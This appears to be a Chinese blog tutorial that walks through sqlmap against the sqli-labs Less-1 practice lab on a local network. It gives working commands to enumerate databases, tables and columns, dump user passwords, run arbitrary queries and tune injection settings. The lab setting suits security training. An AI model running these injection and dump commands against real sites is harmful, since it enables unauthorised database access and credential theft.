sqlmap实战less-1

发布时间 2023-04-16 16:20:53作者: 挖洞404

1、环境

在windows通过phpstudy部署sqli-lab靶场,在vm虚拟机部署kali。

2、直接测试

sqlmap -u "http://192.168.93.1/sqli/Less-1/?id=1"
  • 如果直接指定url,可以不加-u
  • url可以不加引号
  • 测试过程中会有一些选项,enter表示y确定
  • 如果已经测试的过的url,再次测试时会从文件中快速读取,而非实际再次测试

3、获取一般信息

(1)获取当前用户

sqlmap -u "http://192.168.93.1/sqli/Less-1/?id=1" --current-user

(2)获取当前数据库

sqlmap -u "http://192.168.93.1/sqli/Less-1/?id=1" --current-db 

(3)枚举数据库

sqlmap -u "http://192.168.93.1/sqli/Less-1/?id=1" --dbs 

(4)枚举数据表

sqlmap -u "http://192.168.93.1/sqli/Less-1/?id=1" --tables -D security

(5)枚举数据列

sqlmap -u "http://192.168.93.1/sqli/Less-1/?id=1" --columns -D security -T users

(6)枚举数据

sqlmap -u "http://192.168.93.1/sqli/Less-1/?id=1"  -D security -T users -C password,id --dump
  • 需要使用–dump
  • -C可以指定数据列,如果有多个列,使用,分隔
  • 如果不使用-C是导出整张表
  • 类似的,对-T也可以指定一个或多个项,或者不指定

(7)指定select语句

 sqlmap -u "http://192.168.93.1/sqli/Less-1/?id=1" --sql-query="select * from security.users"
  • 注意–sql-query仅用于查询
  • 必须加引号

4、指定测试的参数

(1)指定测试参数

sqlmap -u "http://192.168.93.1/sqli/Less-1/?id=1"  -p id 

(2)设置cookie

sqlmap -u "http://192.168.93.1/sqli/Less-3/?id=1" -p id  --data="a=b" --method=get --cookie="security=low; PHPSESSID=2eh0cg8j1pfcn5lcud9ofnan9k"

(3)设置请求体部

sqlmap -u "http://192.168.93.1/sqli/Less-1/?id=1"  --data="a=b"

(4)指定请求方法

一般是post请求时指定,大小写不敏感

sqlmap -u "http://192.168.93.1/sqli/Less-2/?id=1"  --data="a=b" --method=get

(5)指定测试类型

sqlmap -u "http://192.168.93.1/sqli/Less-3/?id=1" -p id --technique=BU

B:Boolean-based blind(布尔型注入) E:Error-based(报错型注入) U:Union query-based(可联合查询注入) S:Stacked queries(可多语句查询注入) T:Time-based blind(基于时间延迟注入) Q:Inline queries(嵌套查询注入)

(6)指定测试数据库

sqlmap -u "http://192.168.93.1/sqli/Less-3/?id=1" --dbms=mysql

(7)默认不询问

sqlmap -u "http://192.168.93.1/sqli/Less-4/?id=1" --batch